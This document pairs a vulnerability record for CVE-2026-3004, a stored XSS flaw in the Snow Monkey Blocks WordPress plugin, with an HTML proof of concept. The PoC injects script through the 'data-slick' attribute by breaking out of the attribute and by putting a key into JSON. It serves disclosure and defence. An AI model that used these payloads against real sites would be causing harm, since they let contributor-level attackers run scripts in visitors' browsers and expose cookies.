CVE-2026-3004

<!-- PoC for CVE-2026-3004 Stored XSS --> <!-- Inject payload into the 'data-slick' attribute of a block --> <!-- Scenario 1: Breaking out of the attribute context --> <div data-slick='"><script>alert(document.cookie)</script>'> Content </div> <!-- Scenario 2: If the attribute accepts JSON, inject malicious key/value --> <!-- Payload: {"arrows": true, "xss": ""><script>alert(1)</script>"} --> <div class="snow-monkey-block" data-slick='{"autoplay": true, "xss": ""><script>alert(\'CVE-2026-3004\')</script>"}'> Vulnerable Block </div>

{"cve": {"id": "CVE-2026-3004", "sourceIdentifier": "[email protected]", "published": "2026-05-13T08:16:16.647", "lastModified": "2026-05-13T14:43:46.717", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Snow Monkey Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘data-slick' attribute in all versions up to, and including, 24.1.11 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/snow-monkey-blocks/trunk/snow-monkey-blocks.php#L228", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/snow-monkey-blocks/trunk/snow-monkey-blocks.php#L45", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3519092/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d8405ba4-5880-4a9e-8196-722e7f59f9a1?source=cve", "source": "[email protected]"}]}}